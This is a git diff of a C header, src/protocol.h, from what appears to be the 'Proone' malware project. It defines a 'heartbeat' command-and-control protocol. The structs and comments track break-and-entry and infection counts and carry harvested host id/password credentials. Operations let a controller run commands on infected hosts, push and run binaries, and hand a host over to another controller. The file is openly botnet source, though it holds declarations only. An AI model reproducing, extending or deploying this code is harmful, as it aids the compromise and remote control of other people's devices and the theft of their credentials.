diff options
Diffstat (limited to 'src/protocol.h')
-rw-r--r-- | src/protocol.h | 245 |
1 files changed, 184 insertions, 61 deletions
diff --git a/src/protocol.h b/src/protocol.h index bd5682c..fbc9dba 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -10,10 +10,12 @@ typedef struct prne_net_endpoint prne_net_endpoint_t; typedef struct prne_ip_addr prne_ip_addr_t; +typedef struct prne_host_cred prne_host_cred_t; +typedef struct prne_htbt_status prne_htbt_status_t; typedef struct prne_htbt_host_info prne_htbt_host_info_t; -typedef struct prne_htbt_pkt prne_htbt_pkt_t; +typedef struct prne_htbt_msg_head prne_htbt_msg_head_t; typedef struct prne_htbt_cmd prne_htbt_cmd_t; -typedef struct prne_htbt_bin_head prne_htbt_bin_head_t; +typedef struct prne_htbt_bin_meta prne_htbt_bin_meta_t; typedef enum { PRNE_ARCH_NONE = -1, @@ -52,74 +54,177 @@ struct prne_net_endpoint { uint16_t port; }; +struct prne_host_cred { + char *id; + char *pw; +}; + +/* All messages start with uint16_t 'msg_id', whose most significant bit is used +* to indicate whether the message is a initiation(1) or a response(0). +* 'msg_id' is a randomly generated by either end of connection. The value 0 is +* only valid for `PRNE_HTBT_OP_NOOP`(so that NOOP message is either 23 or 24 +* zeros over the wire). +* 'msg_id' is followed by uint8_t 'op', which holds a `prne_htbt_op_t` value. +* The length of data follows varies depending on 'op'. +*/ typedef enum { - PRNE_HTBT_OP_NONE, + PRNE_HTBT_OP_NONE = -1, - PRNE_HTBT_OP_PING, + /* NOOP(keep-alive message): followed by nothing + */ + PRNE_HTBT_OP_NOOP, + /* Operation Status + * Followed by: + * uint8_t code: prne_htbt_status_t + * int32_t err: errno value(used for `PRNE_HTBT_STATUS_ERRNO`) + */ + PRNE_HTBT_OP_STATUS, + /* Host Info Operation: followed by nothing + * + * The submissive end's response format: + * uint8_t prog_ver[16] + * uint8_t boot_id[16] + * uint8_t instance_id[16] + * uint64_t parent_uptime : in seconds + * uint64_t child_uptime : in seconds + * uint64_t rerun_cnt : rerun count + * uint64_t bne_cnt : break-and-entry count + * uint64_t infect_cnt : infect count ( <= 'bne_cnt') + * uint32_t parent_pid + * uint32_t child_pid + * uint16_t cred_size + * uint8_t arch : `prne_arch_t` value + * uint8_t cred[cred_size] + */ PRNE_HTBT_OP_HOST_INFO, + /* Hand Over Operation + * Upon reception of message, the submissive end should conclude + * the connection and get further instruction(op) from the host + * described in the message. + * + * Followed by: + * uint8_t addr_4[4] + * uint16_t port_4 + * uint8_t addr_6[16] + * uint16_t port_6 + */ PRNE_HTBT_OP_HOVER, + /* OP Solicit Operation: followed by nothing + * This op is used by the submissive end to solicit instruction(op) from + * the authoritive end. This op is used when the submissive end has + * connected to the authoritive end after having been instructed by + * the previous authoritive end(PRNE_HTBT_OP_HOVER). + */ + PRNE_HTBT_OP_SOLICIT, + /* Run Command Operation + * TODO + * + * Followed by + * uint16_t args_len : the length of 'args' + * char args[len] : the series of null-terminated string for exec*() + */ PRNE_HTBT_OP_RUN_CMD, + /* Binary Upgrade Operation + * TODO + * + * Followed by: + * uint24_t bin_len + * uint16_t args_len + * char args[args_len] + * uint8_t bin[bin_len] + */ PRNE_HTBT_OP_NY_BIN, + /* Run Binary Operation + * TODO + * + * Followed by: + * uint24_t bin_len + * uint16_t args_len + * char args[args_len] + * uint8_t bin[bin_len] + */ PRNE_HTBT_OP_RUN_BIN, NB_PRNE_HTBT_OP } prne_htbt_op_t; -PRNE_LIMIT_ENUM(prne_htbt_op_t, NB_PRNE_HTBT_OP, 0xFF); +PRNE_LIMIT_ENUM(prne_htbt_op_t, NB_PRNE_HTBT_OP, 0xFE); typedef enum { - PRNE_HTBT_RSPC_OK, - PRNE_HTBT_RSPC_PROTO_ERR, // followed by nothing - PRNE_HTBT_RSPC_OP_ERR, // followed by int32_t + PRNE_HTBT_STATUS_OK, + /* Protocol error detected. Mosts likely a format error. + * An int32_t that follows is not used. + */ + PRNE_HTBT_STATUS_PROTO_ERR, + /* An internal error occurred whilst processing request. + * Followed by int32_t which represents the errno set during the operation. + */ + PRNE_HTBT_STATUS_ERRNO, + /* Operation temporary unavailable. Try again later. + * When another authority is holding the resource. + * An int32_t that follows is not used. + */ + PRNE_HTBT_STATUS_AGAIN, - NB_PRNE_HTBT_RSPC -} prne_htbt_rspc_t; -PRNE_LIMIT_ENUM(prne_htbt_rspc_t, NB_PRNE_HTBT_RSPC, 0xFF); + NB_PRNE_HTBT_STATUS +} prne_htbt_status_code_t; +PRNE_LIMIT_ENUM(prne_htbt_status_code_t, NB_PRNE_HTBT_STATUS, 0xFF); typedef enum { - PRNE_HTBT_SER_RET_OK, - PRNE_HTBT_SER_RET_MORE_MEM, - PRNE_HTBT_SER_RET_FMT_ERR, -} prne_htbt_serialise_ret_t; + PRNE_HTBT_SER_RC_OK, + PRNE_HTBT_SER_RC_MORE_BUF, + PRNE_HTBT_SER_RC_ERRNO, + PRNE_HTBT_SER_RC_FMT_ERR, +} prne_htbt_ser_rc_t; // serialise result code -typedef enum { - PRNE_HTBT_DESER_RET_OK, - PRNE_HTBT_DESER_RET_MORE_DATA, - PRNE_HTBT_DESER_RET_MEM_ERR, - PRNE_HTBT_DESER_RET_FMT_ERR, -} prne_htbt_deserialise_ret_t; - -struct prne_htbt_pkt { - uint16_t id; // != 0 - uint8_t code; +struct prne_htbt_msg_head { + prne_htbt_op_t op; + uint16_t id; // != 0 (except NOOP) + bool is_rsp; +}; + +struct prne_htbt_status { + prne_htbt_status_code_t code; + int32_t err; }; struct prne_htbt_host_info { - char prog_ver[37]; - uint64_t uptime; + uint64_t parent_uptime; + uint64_t child_uptime; uint64_t rerun_cnt; uint64_t bne_cnt; uint64_t infect_cnt; - uint32_t god_pid; - uint32_t proone_pid; - uint8_t *cred_data; // (uint8_t)salt + ((uint8_t)id_len + (uint8_t)pw_len + str ...) - uint16_t cred_data_len; // < 1 + 2 + 255*2 + uint32_t parent_pid; + uint32_t child_pid; + uint8_t prog_ver[16]; + uint8_t boot_id[16]; + uint8_t instance_id[16]; + uint8_t *cred; + uint16_t cred_size; prne_arch_t arch; }; struct prne_htbt_cmd { char *mem; - size_t *offset_arr; - uint8_t argc; + size_t mem_len; + char **args; + uint16_t argc; }; -struct prne_htbt_bin_head { - size_t bin_size; +struct prne_htbt_bin_meta { + uint32_t bin_size; prne_htbt_cmd_t cmd; }; -static const size_t PRNE_HTBT_PROTO_MIN_BUF = 0; -static const uint16_t PRNE_HTBT_PROTO_PORT = 0; -static const size_t PRNE_HTBT_PROTO_TIMEOUT = 0; +typedef void(prne_htbt_init_ft)(void *ptr); +typedef void(prne_htbt_free_ft)(const void *ptr); +typedef bool(prne_htbt_eq_ft)(const void *a, const void *b); +typedef prne_htbt_ser_rc_t(prne_htbt_ser_ft)(uint8_t *mem, const size_t mem_len, size_t *actual, const void *in); +typedef prne_htbt_ser_rc_t(prne_htbt_dser_ft)(const uint8_t *data, const size_t len, size_t *actual, void *out); + +#define PRNE_HTBT_PROTO_MIN_BUF ((size_t)3 + 99 + 3 + 255 + 255) // PRNE_HTBT_OP_HOST_INFO +#define PRNE_HTBT_PROTO_PORT (uint16_t)64420 +#define PRNE_HTBT_ARGS_MAX 1024 // _POSIX_ARG_MAX equiv +#define PRNE_HTBT_ARG_MEM_MAX 4096 // bash limit const char *prne_arch_tostr (const prne_arch_t x); @@ -130,26 +235,44 @@ void prne_net_ep_tosin6 (const prne_net_endpoint_t *ep, struct sockaddr_in6 *out bool prne_net_ep_set_ipv4 (const char *str, const uint16_t port, prne_net_endpoint_t *out); bool prne_net_ep_set_ipv6 (const char *str, const uint16_t port, prne_net_endpoint_t *out); -void prne_htbt_init_pkt (prne_htbt_pkt_t *pkt); -void prne_htbt_init_host_into (prne_htbt_host_info_t *hi); -void prne_htbt_alloc_host_into (prne_htbt_host_info_t *hi, const uint16_t cred_data_len); -void prne_htbt_free_host_into (prne_htbt_host_info_t *hi); -void prne_htbt_init_cmd (prne_htbt_cmd_t *cmt); -void prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmt, const uint8_t argc, const uint16_t total_str_len); -void prne_htbt_free_cmd (prne_htbt_cmd_t *cmt); -void prne_htbt_init_bin_head (prne_htbt_bin_head_t *nb); -void prne_htbt_free_bin_head (prne_htbt_bin_head_t *nb); - -// prne_htbt_serialise_ret_t prne_htbt_serialise_ (uint8_t *mem, const size_t mem_len, size_t *actual, const something_t *in); -prne_htbt_serialise_ret_t prne_htbt_serialise_pkt (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_pkt_t *in); -prne_htbt_serialise_ret_t prne_htbt_serialise_host_info (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_host_info_t *in); -prne_htbt_serialise_ret_t prne_htbt_serialise_int32 (uint8_t *mem, const size_t mem_len, size_t *actual, const int32_t in); -prne_htbt_serialise_ret_t prne_htbt_serialise_cmd (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_cmd_t *in); -prne_htbt_serialise_ret_t prne_htbt_serialise_bin_head (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_bin_head_t *in); - -// prne_htbt_deserialise_ret_t prne_htbt_deserialise_ (const uint8_t *data, const size_t len, size_t *actual, something_t *out); -prne_htbt_deserialise_ret_t prne_htbt_deserialise_pkt (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_pkt_t *out); -prne_htbt_deserialise_ret_t prne_htbt_deserialise_host_info (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_host_info_t *out); -prne_htbt_deserialise_ret_t prne_htbt_deserialise_int32 (const uint8_t *data, const size_t len, size_t *actual, int32_t *out); -prne_htbt_deserialise_ret_t prne_htbt_deserialise_cmd (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_cmd_t *out); -prne_htbt_deserialise_ret_t prne_htbt_deserialise_bin_head (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_bin_head_t *out); +void prne_htbt_init_msg_head (prne_htbt_msg_head_t *mh); +void prne_htbt_free_msg_head (prne_htbt_msg_head_t *mh); +bool prne_htbt_eq_msg_head (const prne_htbt_msg_head_t *a, const prne_htbt_msg_head_t *b); + +void prne_htbt_init_status (prne_htbt_status_t *s); +void prne_htbt_free_status (prne_htbt_status_t *s); +bool prne_htbt_eq_status (const prne_htbt_status_t *a, const prne_htbt_status_t *b); + +void prne_init_host_cred (prne_host_cred_t *hc); +bool prne_alloc_host_cred (prne_host_cred_t *hc, const uint8_t id_len, const uint8_t pw_len); +void prne_free_host_cred (prne_host_cred_t *hc); +bool prne_eq_host_cred (const prne_host_cred_t *a, const prne_host_cred_t *b); +prne_htbt_ser_rc_t prne_enc_host_cred (uint8_t *data, const size_t len, size_t *actual, const uint8_t salt, const prne_host_cred_t *in); +prne_htbt_ser_rc_t prne_dec_host_cred (const uint8_t *data, const size_t len, prne_host_cred_t *out); + +void prne_htbt_init_host_info (prne_htbt_host_info_t *hi); +bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_size); +void prne_htbt_free_host_info (prne_htbt_host_info_t *hi); +bool prne_htbt_eq_host_info (const prne_htbt_host_info_t *a, const prne_htbt_host_info_t *b); + +void prne_htbt_init_cmd (prne_htbt_cmd_t *cmd); +bool prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmd, const uint16_t argc, const size_t *args_len); +bool prne_htbt_set_cmd (prne_htbt_cmd_t *cmd, char **const args); +void prne_htbt_free_cmd (prne_htbt_cmd_t *cmd); +bool prne_htbt_eq_cmd (const prne_htbt_cmd_t *a, const prne_htbt_cmd_t *b); + +void prne_htbt_init_bin_meta (prne_htbt_bin_meta_t *nb); +void prne_htbt_free_bin_meta (prne_htbt_bin_meta_t *nb); +bool prne_htbt_eq_bin_meta (const prne_htbt_bin_meta_t *a, const prne_htbt_bin_meta_t *b); + +prne_htbt_ser_rc_t prne_htbt_ser_msg_head (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_msg_head_t *in); +prne_htbt_ser_rc_t prne_htbt_ser_status (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_status_t *in); // TODO: test +prne_htbt_ser_rc_t prne_htbt_ser_host_info (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_host_info_t *in); +prne_htbt_ser_rc_t prne_htbt_ser_cmd (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_cmd_t *in); +prne_htbt_ser_rc_t prne_htbt_ser_bin_meta (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_bin_meta_t *in); + +prne_htbt_ser_rc_t prne_htbt_dser_msg_head (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_msg_head_t *out); +prne_htbt_ser_rc_t prne_htbt_dser_status (uint8_t *data, const size_t len, size_t *actual, prne_htbt_status_t *out); +prne_htbt_ser_rc_t prne_htbt_dser_host_info (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_host_info_t *out); +prne_htbt_ser_rc_t prne_htbt_dser_cmd (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_cmd_t *out); +prne_htbt_ser_rc_t prne_htbt_dser_bin_meta (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_bin_meta_t *out); |